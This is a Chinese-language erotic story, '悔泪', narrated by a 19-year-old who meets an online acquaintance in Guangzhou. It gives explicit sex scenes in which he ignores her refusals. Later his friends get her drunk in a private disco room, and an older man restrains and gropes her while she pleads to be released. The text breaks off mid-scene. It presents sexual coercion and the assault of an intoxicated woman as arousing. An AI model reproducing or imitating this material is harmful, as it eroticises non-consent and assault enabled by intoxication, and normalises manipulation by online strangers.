图片载入中

《悔泪》

特大字】 【大字】 【中字】 【小字

那年我19岁,读高三,高考前紧张的复习把我压得透不过气来,所以高考一完,我就把自己完全地解脱了。每天除了玩还是玩,似乎要把在高中时代错过的时光一下全拿回来。

我叫美云,身高1米63,偏瘦了点,体重不到100斤,喜欢留着披肩的头发,平时也没什么打扮,胜在皮肤够白,在学校颇受人注目。如果说身体上哪个部位我最满意的话,那应该是我的胸部,女孩子的胸部够大的话,走起路来也好像有自信了。不过我的同学却总是说我的眼睛长得好看,我也懒得理会。 在学校为了应付功课,我实在没有什么心思和时间找男朋友,纵使常常有一些署名的和不署名的情信放在我课桌里,也都让我一撕而算。于是我在学校里多了个外号叫“冰山”。随他们叫吧,我才不管呢。

白天在外面疯够了,晚上回到家就上网了,不知不觉中,QQ里的好友从清一色的女生多了几个另类的,又不知不觉中,发现这些另类的好友聊起天来很有意思,这其中最让我喜欢一起聊天的是一个叫“心情故事”的人,从他的资料上看,他也是住在广州的,26岁。

QQ的好处就是能让你说些平时不敢说的话,我刚开始时还不太敢放开,后来在他幽默风趣的聊天中,我慢慢地敞开了心扉,事无大小,无话不谈,他总像是大哥哥一样地屏幕那边为我高兴,为我解忧。他也说了很多他自己的事给我听,我知道他有二个女朋友,总是为如何不让这两个女孩发觉他脚踏两条船而烦恼。反正这个社会诸如此类的事情多着很,我听了也没觉得有什么反感。

感情的话题一打开,就有点刹不住脚了,平时跟别人的小口角,学习上的不如意等等,一股恼地向他倾诉了起来。。

发泄完了,心情似乎也开朗了不少,我的事说多了也不好意思,于是我又问他跟他女朋友的事,他跟我感叹,说两个女朋友他都喜欢,但知道这其中只能够选其一,他已经慎重考虑好留哪一个了。正为他高兴中,他突然打了几个字过来:我能看看你么?

我一阵愕然,平时我只跟同学视频,还从来没试过与陌生人视频呢,心突然跳得厉害,不知道是紧张还是兴奋。正不知所措时,屏幕中又跳出了一行字:你总该让我这帅哥展现下风采吧?

他的风趣把我打败了,我的鼠标迟疑地在QQ上的视频聊天图标上点了下去,趁网络正在链接的时候,我胡乱地整理了下头发。终于,他在屏幕上出现了,端正的五官配上略黑的皮肤,显得精神而有活力。我的心一跳:果然没吹牛,确实帅。

见到他戴上耳机,我也拿起台上的耳机戴上了,他的声音雄厚而有磁性:“啊,看到你了,你……你真漂亮!”

哪个女孩给人赞美了心里都乐滋滋的,我也不例外,看到他身后的摆设,问道:“你也在家里啊?”

“嗯,我跟朋友一起租房住,家里管得太严了,自已出来住自由多了。” 因为我平时太乖巧了,我的父母并没有管我太严,回应他说:“有家里人关心是件幸福的事,你们这些人是太贪玩了吧?”

“哈哈,你说得有道理,我就是爱玩,要不是这些天惦记着跟你聊天,这会我早跑外面去了。”

“谁不爱玩呀?但也要有个程度嘛,一般你去哪里玩呀?”

“多了,哎!我明天正想去北京路熘熘,你有空吗?陪我去好吗?”

“你女朋友多着呢,我去干什么?”我以为他是说说而已,随口应他。

“不不不,我没试过跟网友见面,想试试啊,你看光天化日之下,还怕我吃了你呀?最多我请你吃麦当劳。”

我心里一阵慌乱,不知所措的时候,他又连珠炮般地哀求,心里想,大白天的,我这个准大学生难道还会给你骗了不成。迟疑中我终于点头答应,他在屏幕那边绽开了迷人的笑容,兴奋得像个大小孩一样,笑得嘴也合不拢。那一晚,我们聊了很晚很晚,然后约好在哪个地方见面后,才依依不舍地关机睡觉了。 第二天下午,我坐上公交车去北京路,到了我们约好的地方XX电影院的时候,老远就看到他四处张望着,看到我,他招牌式的微笑布满了脸。

看到真人,我又打量了一下,他看起来比屏幕中更加地精神,上身一件T恤,下身一条牛仔裤让他显得充满活力。当然,我一身白色的连衣裙也让他眼前一亮。

我先开口说:“没想到你这么早到啊,让你久等了吧?”

“不不不,我也才到呢,呵呵,走,我先请你吃麦当劳去,我说过的话可不会食言。”说完顺手拉过我的手就向前走。我的手给他粗大的手握着,不知怎地,竟然就这么让他牵着。心,也跳得厉害。

在麦当劳,我和他像是阔别重逢的老朋一样交谈甚欢,他健壮体质,幽默的言谈,使我的心漾起异样的感觉,特别与他的眼光接触的时候,我的心更如小鹿儿乱跳。

吃完麦当劳,下楼梯时,我的手又让他很自然地牵了过去。广州的北京路不是一般地热闹,虽然白天比晚上的人流要少点,但仍然拥挤,我被他牵着挤在人群中,俨然像是一对情侣,不知道为什么,我的心竟然甜甜地,没有一点反感。 他帮我买了几样小饰品后,又在旁边的木椅上背靠背地喝可乐,我趁他不注意的时候,把可乐外的冰水抹了一把在手里,然后把手塞到他衣领里,吓得他跳了起来。引得路人为我们这一对“小情侣”投来羡慕的眼光,那一刻,我也好像找到投入爱河的感觉。虽然想到他只不过是个网友,而且还是有两个女朋友的男孩,但让他在心里当一次虚拟的男友,我也不吃亏啊,反正他也不知道我心里在想什么。

快乐的时间也过得是飞快的,一转眼就到了晚饭时间,在一家快餐店解决了肚子问题后,打算看场电影。不料我们刚从快餐店出来的时候,我的高根鞋踩歪了,鞋根断了不止,脚踝还伤着了,他连忙抱着我坐在木椅上,揉着我的脚踝,满脸地痛惜之色让我心里感到了幸福。一时竟然忘记他是有两个女朋友的男人。 鞋子不能穿了,他拿着我的鞋到鞋店对着码数帮我买新的一双,看着他在北京路的鞋店忙乎着为我买鞋子,那份感动让我眼角都湿了。

鞋子买来了,穿上去正好合脚,可是我的脚伤得还挺严重的,走路是走不来的了。他望着我说:“要不,电影就不看了吧,我住的地方离这里不远,到我哪里去,我拿点药给你擦擦。”

事到如今,我又能说什么呢,只好点头答应。他叫了部的士,指明了地点,车向他的住所驰去。车上,我的手还是让他握着,我不由自主地靠在他的身上,感受他怀里的温暖。相信这个时候如果让同学看到了,也一定不会以为在个在的士上靠在男孩身上的女孩是我。

事情就是这么奇妙的,像我这样一个对男女关系保守的女孩,在感情上竟然这么不堪一击,什么叫做一见钟情?此时却能真实体会,什么叫爱得迷煳,此时也是身受其中。

我是给他半抱着上楼的,他的住所虽不算大,但倒也别致,两房一厅的结构,显得房小厅大。他的房间不是我想像的那么乱。但他把我放在床上后,仍然手忙脚乱地收拾了一番,然后打开风扇对着我吹,自己到处找药箱。

没找到药水,他叫我看看书,然后就到街上买药。我随手拿了本书翻了翻,却是本武侠小说,男孩子总是喜欢看这类的小说,我耐着性子看着,差点没睡着了。

他去了快半个钟头才回来,真不知道这里买个药水用得了这么久吗。坐在床边,他拉过我受伤的脚放在他的大脚上,从药瓶里倒出药水均匀地涂在脚踝上,再慢慢地抚摸着,做得是那么地细心。那幸福的感觉又从我的心头涌起。

打破沈寂,我问:“怎么没见你女朋友的相片?”在我的理解中,相恋的人的床头一定会放着对方的相框的。

他哈哈笑道:“你说我放谁的好?给撞破了怎么办?”

我才想起他有两个女朋友呢。心里一阵黯然。

“好了,现在可能会有点痛了,你要忍着呀。”

还没等我反应过来,脚踝感到无比的疼痛,我尖叫了一声,猛地起身紧紧地搂住他。他继续用力地帮我搓着我的脚踝,一边安慰着说:“不会痛很久的,非要这样你的脚才好得快呀。”

我痛得眼泪直流,不知为什么,张开嘴往他的肩膀咬去。他给我咬得大叫,但没有甩开我,咧着嘴任我咬着。慢慢地,他的手放轻了,我的脚没那么痛了,可是我还是搂着他,只是嘴已经没有再咬他肩膀了。

他帮我搓脚的手慢慢地围上我的腰,两人虽然没有说话,却听到了对方的心跳。闻着他身上发出的男人气味,我的心迷醉了……

不知道什么时候,他的嘴吻在了我的头发上,然后是额头,然后是眉毛,然后是鼻子,然后我推开了他。胡乱地整理着头发,我不敢看他,只是像蚊子般地说了句“谢谢!”

他抓住了我正不知往哪放的手,说了句让我血液加快的话:“云,我很喜欢你。”

我只有用笑来掩饰我的慌乱:“呵呵,我们才认识多久啊……”

“不,我一眼就爱上你了,你这么纯静,那么美丽,那么……那么……,反正我喜欢你,你做我女朋友好么?”他像个无助的小猫向我投来热切地目光。 躲开他的眼光,胸前的心跳差点没让我窒息,嘴里仍然说笑地说:“你已经有两个女朋友啦,还想要多一个呀?”

“不,那些都已经过去了,现在,我只要你。”

相信他只用了很小的力气,我就给他拉到了他的怀抱,虽然已经不是第一次在他的怀抱,但这次的感觉跟刚才的是完全不一样的,他抱着我,抱着好紧。 脸庞感受着他嘴边胡须渣的刺激,我的身体变得酸软无力,只好闭着眼任由他的嘴在我的脸上拱着。心里盼望着他的嘴不要向我的嘴进攻,却又似乎渴望他能吻上我的嘴。但这矛盾很快不存在了,他的嘴侵占我的嘴唇的时候,我胸前的高峰也同时被他的手掌侵略。虽然隔着两层布,但我依然感受到他手掌心的火热。

少女的矜持使我拽住了他的手臂,这象征式的动作并没有阻止他的继续,他的手隔着衣服揉着我的胸部,舌头尝试着撬开我的牙齿。没想到我的初吻竟然有点像被强行。

也许他认为布料阻隔了他的手感,他放弃了我的胸,手放在了我裸露在裙子外的大脚上,手掌的温度刺激起大腿肌肤的疙瘩,然后传向全身,我忍不住呻吟了一声,就在我的嘴刚张开一点,他的舌头乘虚而入,我的嘴里多了件陌生的东西,但却并不排斥,反而感到难言的兴奋,那兴奋让我的呻吟声音更加无所顾忌,情不自禁地将我的舌头吐出让他纠缠。

听到我的呻吟,他似乎得到了鼓励,放在我大脚的手慢慢地向上伸展,当路过三角边缘的时候,我的神经突然绷紧,头脑恢复了一点点的清醒,想要推开他,但力气不知消失到哪里去了,双手按在他的胸前倒像是在抚摸他。还好他的手并没有在那里停留,而是继续经过腰间攀上了我前胸。他这袭击让我刚松下的神经又绷紧了起来,推他的手反回来抓他的手臂,希望能够阻止他。但这是徒劳的,他的手指熟练地从我的胸罩下面撬开罩杯,我的一边乳房立刻失守在他的掌握之中。

他只不过在我的乳头上搓了搓,我便全身没了力气,像死尸一样躺在他的怀里任他摆弄。胸罩已经让他推在乳房上面,他的一只手轮流在两个乳房玩弄着,另一只手将我的身体平放在床边,而他去下了床,蹲在床边继续吻我。

接着,他开始将我的裙子向上翻,我心里在叫,不要啊,不能这样的,再继续下去会出事的。可是又哪里有力气去推他一下?又哪有力气张嘴喝止他? 当我的乳房被风扇的风吹起鸡皮的时候,他停止了动作,我回过神张开眼,看到他直勾勾地看着我的乳房,我胸口往下看,只见裙子已经给翻到了胸口上面,乳房骄傲地挺立着,花生粒般地乳头因为刺激而变得坚硬,下身只剩下一条小小的三角裤包着羞处,也只剩下这块小小的布,我的全身几乎赤裸在这个刚刚认识的男孩面前。我不由得一阵娇羞,连忙把裙子往下拉,但很快被他阻止了,他将头埋在了我的胸口,含住了我一边的乳头用力地吸吮。乳头传来的快感差点没让我大叫起来,双手情不自禁抱住了他的脑袋。

他把我两个乳房又亲又咬,双手还不忘在我的大腿、小腹等地方游走,我的心在叫救命,我想要抗拒,可是那销魂的感觉又让我希望能够继续。长这么大,还没试过这么没有了主张。因此他把我的裙子从我头上翻离我的身体,没有遭受到我一丝丝的反抗,胸罩早让他解除了,赤裸着上身的我只好将手臂无助地遮着胸。

他并没有拉开我的手,随手把我的裙子丢在地上后,他开始亲吻我的小腹,真没想到那里也是我的敏感地带,一阵阵的刺激感受传到我的大脑,使我的心荡漾,无法制止。

他再次吻我的脸时,我放在前胸的手搂住了他的脖子,他在我的耳朵边说:“云,我会对你好的,我爱你,真的爱你。”他嘴里吐出的气息弄得我耳朵痒痒的,但心里却很感动,为自己找到一个借口:看他说的应该不是假的,他一定会好好对我的,这样的男孩很不错,说实话自己也很喜欢他,算了吧,就随便他了吧。

有了这个借口,我回吻了他,在他俊俏的脸上深深地吻着,他连忙把嘴送了过来让我吻他。那一刻,我好陶醉,似乎幸福也就是这么一回事。

他将T恤除了下来,露出结实的身体,睡在了我左边,一边的脚缠在我的大腿上,一边的手揉着我的右边乳房,而左边的乳头被他咬着。我闭上眼睛呻吟着,享受他对我的爱抚。

握着我乳房的手开始向下移,经过我的小腹时,我知道他想干什么了,我的手抓住他的手掌,呢喃地说:“不,那里不行,不要……”

他根本不理会我的阻止,脱开我无力的手后,将他粗大的手伸进了我的内裤,同时,缠着我的腿的脚从我双腿间插进去,这样我的腿根本没办法合起,于是,我最神秘的私处在他的手掌中宣告失守。

那里已经充满了爱液,我甚至可以感觉到爱液从他手掌滑出而沾到我大腿侧。他的手指在外面上下撩动,那强烈刺激神经的感觉就快让我抓狂,我的手用力地抓住被单,竭力不让自已大叫出来。下体不自然地扭动着。

跟翻开胸罩一样,他的手掌一翻,然后一拉,我那小小的遮羞布就给他拉到了膝盖下面,然后脱离我的身体。此时的我才知道,原来赤裸在男孩面前,也是一种刺激,那刺激使我的身体不由自主地扭动。

他飞快地解除自己的裤子,当听到他的裤子甩在地上的声音后,他拉着我的手到达了某处,我的手背触碰到发烫,而又坚硬物体,忍不住张开了眼睛,只见他赤裸地半蹲在床上,我的手背正贴着他跨下的阳物,那里比他的皮肤更黑,前端处的一节黑中带紫,后面的阴茎则布满了青筋。尾端茂盛的阴毛覆盖得到处都是,下面的阴囊垂得很低。

我的天,这可是我人生第一次真正看到男人的私处,原来这么吓人,这么难看。我的心产生了恐惧,想要抽回手常,可是他反而抓过我的手,让我的手握着他的肉棒。并温柔地对我说:“帮我摸摸,好吗?”

我只好握着肉棒,他拉着我的手在他肉棒上套弄着,并发出舒服的呻吟。我生硬的套弄或许让他并不是真的很舒服,过不多久他就放弃了,我正庆兴地收回手,没想到他把肉棒伸到了我的面前,眼眼炽热地看着我说:“云,你帮我亲亲它。”

天呐,他要我含他的肉棒,我猛地摇头:“不,我不搞这个。我要穿衣服了,时间不早,我也该回去了。”

我突然的态度让他惊愕,他连忙抓住我,不让我起来:“好好好,不亲不亲。那你让我亲亲。”说话他又伏在我身上吻我,我推不开他,只好让他吻着。他慢慢地将身体移在了我的身上压着,他厚实的胸膛压在我的身上,那感觉好捧,我情不自禁地搂住了他。

他的双腿已经插入我的腿间,左手从我上身游走到了下体,并用腿将我的腿撑开,我感觉到不对,忙潜意识地想要挣扎,但这时他的手已经到达我的私处,并在上面玩弄着,我绷紧的神经稍微放松,正考虑到再这么让他压着,如果他强行要进入我的体内,我该是拒绝好,还是顺着他好的时候。突然感到洞口受到了硬物的袭击,从那粗大的感觉知道一定不会是他的手。果然听到他在我耳边说道:“亲爱的,我要进去了。你放松点。我会让你好的。”

我真恨时间有的时候为什么过得那么飞快,快得连我的一个念头都不让我好好想想。我的下体一阵撕裂的痛,我的眼不知为什么竟然流下了眼泪,不知道是因为失身后的痛,还是因为在失身的那一刻,我后悔了。

他分了几次才把他长长的肉棒完全插入我的体内,真弄不明白这么粗的东西他是怎么挤进去了。唯一知道的就是我的下体被他撑得好痛好痛。我搂在他背上的手指在他的背上使劲抓着,求着他说:“你……别动……我好痛……”

他喘了喘粗气,果然没有再动,一边揉着我的乳房,一边说:“没想到你真的是处女,啊,好紧,夹得我好紧,真是太美了,你看看,那里已经完全进去了啊。”说完拉我的手往我们结合的地方摸去。

不知道我倒底有没摸到我们的结合处,我敷衍地乱摸了下就收回了手。他说:“我要动啦,再不动我就快要爆炸了。”不等我回答,他开始挺动下体,肉棒在我体内抽插着,我体内多了这根粗粗的东西,说不出的不习惯,更甚的是,他每抽动一下,下体就传来一阵疼痛,使我的身体绷得紧紧地去忍受。

他并不没有注意到我的感受,很用力地挺动着,因舒服而发的赞叹声在他嘴里呢喃着。握住我乳房的手像是要把我揉碎,无助的我只能够将腿尽量张大点来承受他的运动。

他蹲了起来,把我的腿抬高放在他的肩膀上,下体因两人结合时的冲撞发出“盼蚁不恫慷泳”的声音,这样的姿势使他的肉棒更深入我的穴内,我简直可以感受到他已经插入我肚子里了。他每次的抽动还是会令到我疼痛,我咬着牙,张开眼看他,我想知道他是否看到我痛苦的脸。却见他正饶有兴趣地看着我们结合的部位,根本没有往我有脸看过来。

突然,他停了下来,手伸到我下体的某个部位揉了揉,从他进入我体内那刻算起,我还没感受到做爱的欢愉,但他这一揉差点没把我魂给揉了出来,像触电般地,一股激流从下体传到脑神经,使我的身体连续抽搐,快感充斥着全身,忍不住大声呻吟了一声。

他惊喜地说道:“哈,反应这么大啊。我让你舒服舒服。”

于是他每抽出送入的同时,都在我那地方揉一揉,在痛和快感之间,我简直无法形容我是处在什么状况,全身扭动着,抓着被单的手已经痛得失去知觉,我求饶,希望他能停下来,可是却又渴望他不要停,让那销魂的感觉再来一来。无意中看到床对面的书桌,桌上面的镜子正好照射到我那可怜的样子,口水失禁地从嘴角流出,眼泪也还在淌着,头发沾着口水、汗水和泪水散在脸上,此时的我竟然就像街头流浪的疯婆子。乳房随着他的抽动上下涌着,那最高端处呈现的颜色从来没试过这么鲜艳。

他就用这姿势弄了我将近半个钟,也把我折磨了将近半个钟,两人的下体已经狼藉一片,我甚至听见他抽动时带出爱液的声音。我已经快虚脱了,下体越来越强烈的快感使我唿吸困难,终于在那一刻爆发时,我的身体被电了似地,全身强烈地抽搐扭曲,嘴里在叫什么自己也分辨不出来了。他这时也加快了速度,用力地把肉棒送入我体内,突然他放开了我的腿,身体压在我的身上,快速地挺动他的下体。我知道他快射了,内心在叫自己阻止他,让他别把精液射在里面,可是正在高潮中的我又哪里说得出话来。终于在他沉重的“呵呵”声中,他的精液分了几股射入了我体内。烫烫地,似乎射得好深,好深。

他就趴在我身上喘着气,两人都无力再动一动。他的肉棒还放在我体内,似乎没有那么让我觉得那么涨了。直到我给他压得胸闷,才提起精神推了推他,他依依不舍地又挺了挺屁股,才从我身上滚了下来。我忙起来找纸巾清理下体,黏乎乎地怪难受的。

眼睛扫到刚睡地的地方,那里的一点红艳格外耀眼,我的天,我的处女落红竟然落在这张完全陌生的床上。红的周围一片湿,那些就是我刚刚流的爱液了,竟然这么多。

从床边取过纸,我擦试下体,只见那里有些红肿,还缓缓流出乳白色的精液,我只好用纸捂着,蹲住让它流出来,心里祈祷千万别让它在我体内生根。眼角一瞥,他的肉棒此时软软地垂在跨下,上面沾着我的爱液,条件般地撕了纸巾帮他抹了抹。往上一看,只见他正笑眯眯地看着我,不由一阵娇羞。

上篇完

腊腊肠原创之《悔泪》下部

没有电视上看到的事后缠绵,我和他匆匆地把衣服穿好,不知道什么原因,我此时的脚竟然没那么痛了,也许是他的药水起了作用吧。

这时桌上小闹钟的指针指向8点钟了,在麦当劳吃的那点东西估计在刚才的激烈中消化完了,肚子竟然开始有点饿。又不知道是不是该告别回家了,而且心里似乎又舍不得离开他,也许这就是女孩对第一个男人的牵挂吧,虽然其实我对他陌生得模煳,连他叫张揩意的名字都还没记得清楚呢,这名字也真难记。 他把鞋子穿好后,兴致勃勃地对我说:“宝贝,今晚我们去蹦迪去,我可是约好人的了。”

啊,迪士高好久没去了,其实我并不太喜欢去那些地方,觉得吵得厉害。可是这时又突然有种很想去的念头。因此没有拒绝地随着他走,出门口后,我把自己的手塞到他的手掌里握着,我喜欢这种感觉。

去迪士高的时候没有坐的士而是坐上了公交车,广州的公交真叫挤,坐位早就没了,我伏在他的身上一路站着摇摇晃晃地不知方向在哪里。

一路车竟然坐了一个多钟头,一下车才知道原来到了番禹,这里的迪厅业发达,场所之大是广州不能比拟的,一进大厅,震耳欲聋的音乐和刺眼的闪光灯差点没让我踩空了阶梯。

楷意对迎宾的女孩说了个房间号,似乎是一早定好的。他没骗人,确实是早跟人约好来这里蹦迪的。迎宾带着我们去了间包房。不知道他约了多少人,这个房间显然是个大房,宽敞的房间里围墙摆放一围沙发,一条长长的玻璃几放在沙发前面,沙发对面是个宽大的电视银幕。一看就知道这里的消费不低。

楷意让我在房间里等等,自己出去打电话。我选了几首歌自己唱了起来,我平时很喜欢唱歌,唱得也还不错。刚唱完一首“红豆”他就回来了,猛拍手掌夸我唱得好,把我赞得美滋滋地。他也点了首歌唱,竟然唱得不错。

没玩了多久,楷意的朋友来了,只有一男一女的数量有点让我意想不到。男的40来岁的年级,胖胖黑黑的,挺着个大啤酒肚,嘴大眼小,一裂嘴笑就只见嘴不见眼。女的打扮得妖艳,皮肤还算白晰,嘴抹得通红,上身一件黑色露脐小衣,下身一条红色超短皮裤,虽然性感却感到不协调。

那女的一进来就直奔楷意,一把搂住他就在他脸上狠亲了一口,哈哈笑道:“小意意越来越帅气了哦!”

楷意脸上的唇印看得我直瞪眼,他却满不在乎地在那女人脸上捏了捏:“哪比得上红姐越来越漂亮了呀。”

我绷着脸生着气,突然感到旁边有点异常,转过着一看,只见那个胖子直勾勾地盯着我看,眼神古怪。出于礼貌,我向他点了点头,他朝我裂嘴一笑。 楷意站都来向我介绍:“云,这位是熊哥,是我老大,在江湖上可有地位了。这位美女是红姐,熊哥的女朋友。”我对熊哥红姐各点了点头,跟着叫了声:“熊哥,红姐。”

那个熊哥呵呵笑道:“这位是小楷意的女朋友吧,叫美云,对不对?楷意在电话里说你漂亮,我不相信,这不见面一看,我就说这小子乱说的吧。”

我愕然,就算我不漂亮,你也不要这么损我吧,这可是第一次见面耶,再说,我再不漂亮恐怕也不会比你女朋友差吧?

那胖子继续说:“这小子形容得半点不对,电话里所说的所形容的哪有真人一半漂亮,哈哈哈……”

原来他在卖关子,我忍不住让他给逗笑了,胖子趁热打铁:“哎呀,这一笑更了不得了,大家看看我头顶上有没有冒魂魄出去了?”

他不说我还没注意,原来他的脑袋是地中海,头顶上光熘熘地寸草不生。没想到这个胖子还有点幽默,我对他像貌的不好印象一扫而空,而且知道那女的是他的女朋友,对她刚才的行为也就没放在心上了。刚才也许是他们太熟了的原故吧。

服务生上了一打啤酒和一支红酒,红姐倒了一杯红酒给我,我虽在皱眉头,但不好推辞。说实在的,我酒量很普通,平时喝红酒的时候还要掺点雪碧才会喝,像喝这样的纯红酒还没试过,放在唇上抿了下,虽然味道有点涩,却得并不难喝。

那边熊哥和楷意玩骰盅,三次一杯,没两下子就把一打啤酒喝了一半去了。红姐拉着我唱歌,时不时跟我碰杯喝酒,不一会儿我就感到脸发烧了,向楷意打眼色求救,楷意也善解人意,连忙提议出去绷迪。于是我们四人往舞池而去。 这家迪厅的音乐确实劲爆,重音炸得心都快跳出来了。舞池好大,无数的人头在激光灯下耸动着,舞池前是个T字台,T字台后是DJ台。这时的T字台上十来个女孩在带舞,她们清一色穿着黑色超短裤和黑色胸围,雪白的手和腿舞动一致,煞是好看。

刚进舞池的时候,我们四个人还能在一起,没过多久就让人群给冲散了。超劲的音乐让我忘记了所有,随着音乐竭力地舞动着身体,让汗水尽情地挥洒着。突然感到有人从我身后搂着我的腰,回头一看原来是熊哥,也没在意,两人就这样一前一后贴身摆动着。

因为贴得近了,熊哥的啤酒肚顶着我的腰,不得不逼使我的动作小了起来,这时也感到熊哥的手不老实地在我腰上摸来摸去,甚至似乎有往上侵犯的意图。我扭了扭身体,想离他远点,但没有成功,又拍误会了他,只好抓着他的手防止他有下一步动作。眼睛向人群中找着楷意的身影,在远处似乎看到了他跟红姐也是贴得紧紧地在一起,待要看仔细时,却被人群挡住了视线。还好熊哥并没有什么大的动作,舞池中搂抱着跳舞也很正常,我对熊哥的防范也就没那么紧了。 终于,熊哥放开了我,改拉着我的手面对面跳迪,这样使我轻松了不少,把刚才的紧张完全地抛开,继续疯狂地扭动身体。

回到包房时,我们几个都是满头的大汗,我拉过楷意低声怪他怎么把我一个人丢下了,楷意笑嘻嘻地陪不是,说是红姐硬要拉着他到音箱边跳,说这样才够刺激。

不知道是口渴还是怎么,我在红姐的劝说下,连喝了两杯红酒,不一会儿就觉得双腿轻飘飘地不受力,眼前的事物变得有点摇晃。感到刚才在舞池的发泄似乎还不够,我又拉着红姐要出去跳舞,可是不知道怎么回事,进了舞池我才发现原来我拉的不是红姐而是熊哥。也没考虑这么多,拉着熊哥就甩起头来。

也不知道跳了多久,我刚把甩动的头停下来,就感到头脑一阵旋晕,不由自主地倒在熊哥怀里,感到熊哥从身后搂住我,两人贴着身体在劲爆的音乐声中慢慢摇动着,而且边摇边往人群的边缘移去。

很快,我们两人到了一边的角落,我觉得头好晕,眼皮也好重,感到有人在吻我的脸,一心想推开他,双手却无力。脑袋混乱地想,是楷意在亲我吧,这么多人呢,给看到了怎么办。感到那人吻上了我的嘴,就自然而然地张开嘴吐出舌头让他吻,那嘴臭哄哄地,好像跟楷意不太一样,可是怎么不一样又想不起来。 那人隔着裙子在捏我的胸部,捏得好大力,可是不知为什么,这样子反而让我感到好舒服。一时情动,我想搂他的腰,没想到搂到的腰好粗。一灵光,我清醒了不少,猛地睁开眼睛,果然是熊哥。我用尽全身力气想推开他,但给他紧紧地搂着,根本推不动他。熊哥一把抱着我从舞池边向包房走去。我锤打他的胸,叫他放开我,他裂着嘴不说说,我想反正楷意在包房里,去到那里我也安全了,于是就不闹了,任他抱着走。

到了包房门口,听到熊哥吩咐服务员说:“我们不需要东西了,没我们叫谁也不许进去,谁进了我打断谁的腿。”听到服务员的应诺,我心里莫名地恐慌升起。

进了房,熊哥把我放了下来,我双腿发软,脑袋沉重,歪坐在一边的沙发上,努力张开眼睛寻找楷意。沙发的另一头一对男女搂抱在一起正在亲热,那女的红超短裤立刻让我认出是红姐,那男的虽然背朝着我,但那身影赫然就是楷意。此时他正把半个身子压着红姐跟红姐接吻,一只手伸进红姐的衣服里蠕动着。 我以为我看错了,用力地甩了甩头再看,确定自己所看是真实的。这时楷意和红姐也发觉我们回来了,楷意转过着看了看我们,呵呵干笑了两声说:“你们怎么这么快就回来了呀?不跳了吗?”

熊哥把门反锁了,说道:“我们出去跳得满身臭汗,你们在这里风流快活,算对得起我啊。”

红姐嘻嘻笑道:“老公吃醋罗,小楷意,还不叫你女朋友好好服侍下我老公。”

楷意也嘻皮笑脸地说:“熊哥是大老公,我是小老公,大老公不吃小老公的醋。”

我瘫在沙发上,感到眼前似乎在做梦,但又不像。目瞪口呆的不知道怎么办才好。熊哥在我身边坐下,倒了两杯酒,把酒杯互碰了下说:“别管他们两个,来,我们干一杯。”说完把酒递到了我嘴边,我茫然地张开嘴,红酒倒进了我口中竟然像白开水一样地无味。

熊哥大叫道:“好!好酒量,楷意的这个女人喝酒最爽快,我喜欢!来,让熊哥餵你一口。”说完把手中的酒倒入口中,凑过嘴就向我嘴吻去。我想躲,但无力,酒液从熊哥嘴中渡了过来,我不能控制地吞了下去。

传递完口中的酒,熊哥开始吻我的脸,我突然不知道从哪里来的力气,猛地推开他,站了起来踉踉跄跄地向楷意走去。楷意忙推开红姐,站起来扶住我。我靠着他的肩膀说:“我不玩了,我要回家,你快送我回家。”

没想到楷意笑着说:“云,你看今晚这么高兴,大家都是好朋友,难得熊哥喜欢你,你就陪陪他玩玩吧。”

熊哥在身后哈哈笑:“对对对,我一定会让你很快活的。”

躺在沙发上的红姐外衣已经脱了,正在解黑色的胸围,一边说:“小妹子,熊哥做爱很有一套哦,你试过包你喜欢。再说,你没试过在包房里做吧,多刺激呀,不试可惜啊。”

我还想说什么,已经让熊哥从后面拦腰搂住,拖倒在沙发上,一把抱着我说:“不适应吗?没关系,那我们看看小楷意和小红弄,等上火了我们才开始,怎么样?”

酒劲在我脑袋冲来撞去,想吐又吐不出来,全身乏力之余,只能让熊哥搂着,动弹不得。

那边红姐已经把胸围脱了,两个乳房有点垂,乳晕也稍黑。楷意却像得到宝贝一样,在两个乳头上来回吸着,吸得红姐咯咯直笑。楷意边玩弄胸部,边脱红姐的短裤,但短裤实在太紧,最后还是红姐自己把它脱了下来。红姐的下体毛好茂盛,黑唿唿地一片,楷意的手在那片黑地上耕耘着,红姐非常享受地靠在沙发上任楷意玩弄。

看到他们两个亲热,我不由地恶心,想别过脸不看,没想到不知道什么时候熊哥把他的裤子脱在膝盖上,大腿根部高高挺起一条大肉棒,浓密的阴毛乱糟糟地布在肉棒周围,肉棒黑楸楸地足有一巴掌长,龟头像个小蘑菇一样黑得发亮,熊哥一边津津有味地看那边的两人玩弄,一边用手搓着肉棒,肉棒下垂着的大阴囊随着他的动作一提一放。看得我呆了呆。

熊哥看到我注意到他的肉棒,不无得意地说:“怎么样?我的家伙比这小子强吧?”

我忙别过脸不理他,心乱如麻,不知道怎么办才好。确实,熊哥的肉棒比楷意的雄伟,难道我等下真的要去接受这条让我心惊的东西进入我的体内?想到不久前楷意进入我体内的痛楚,我的心愈发感到不安,定了定神后,奋力想站起来冲出房门,离开这个让我不安的地方。可惜刚站起来就让熊哥抓住了手,一拖而已,我就跌回了他的身上,更不幸的是,他的大肉棒离我的脸只有二十公分远。 熊哥嘿嘿笑着说:“怎么?想看看我的家伙?嘿嘿,看吧,喜欢的话亲亲它也没关系。”

我支起身体,尽量离他的肉棒远点。那边红姐嘻嘻笑道:“小妹妹试过品萧没有啊?要不姐姐弄给你看看,让你学学?”

说完,她把楷意推开,让他靠在沙发上,动手解开楷意的皮带后把裤子卸在脚踝上,楷意的肉棒早就坚硬挺直,随着内裤的除下而跳了出来。红姐伸出舌头,用舌尖从阴囊处向龟头舔动,反复了几次后,张嘴将楷意整个龟头含进嘴里。楷意随着龟头进入红姐嘴里的同时,发出舒服的赞叹声,闭上眼睛享受起来。 红姐含着肉棒又吸又舔,啧啧有声。不一会楷意就受不住了,示意红姐他想要了,红姐躺回沙发,一只腿架在沙发靠背上,一只腿垂放在地上。楷意抱着她架在沙发上的腿,半侧着身体跪在沙发上,扶着肉棒对谁肉穴就挺了进去,用力抽插起来。

熊哥似乎来了兴趣了,把裤子脱在地上,一只手搓着肉棒,搂着我的手绕过我的掖下抓我的胸,我用手阻拦,但没有成功。他抓了几下后,也许觉得隔着衣服没有意思。把搓肉棒的手突然地从我裙底伸入。到我小腹的时候让我用手按住了,他粗鲁地掰开我的手,翻开胸围占据了我的胸部。我即委屈又害怕。哭着求他:“熊哥,熊哥,我求求你,你放了我吧。”

熊哥一边揉捻着我的乳头,一边笑着说:“怕什么呀,男人女人在一起干这事没什么大不了的,你又不是没玩过,有什么好害怕的?是不是我的比他的大,你害怕?放心好了,我会弄得轻轻的,包你舒服。”

